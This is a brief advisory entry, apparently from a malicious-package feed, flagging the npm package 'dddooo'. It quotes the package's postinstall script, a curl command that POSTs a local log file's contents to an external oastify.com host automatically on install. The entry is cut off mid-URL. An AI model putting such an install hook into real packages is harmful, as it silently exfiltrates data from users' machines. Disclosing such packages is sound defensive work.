Malicious code in dddooo (npm)

Source: amazon-inspector 31763ebf0ebdd35b636e728b408f41ff8852cddeb34db5e188dc17c8374c6948 package.json declares a postinstall lifecycle script that runs automatically on npm install: curl -X POST -d "$cat /data/logs/monitor-2026-06-16.log" http://3dhd6wwmusbh04m22igmzvb4hvnmblza.oastify.com/data...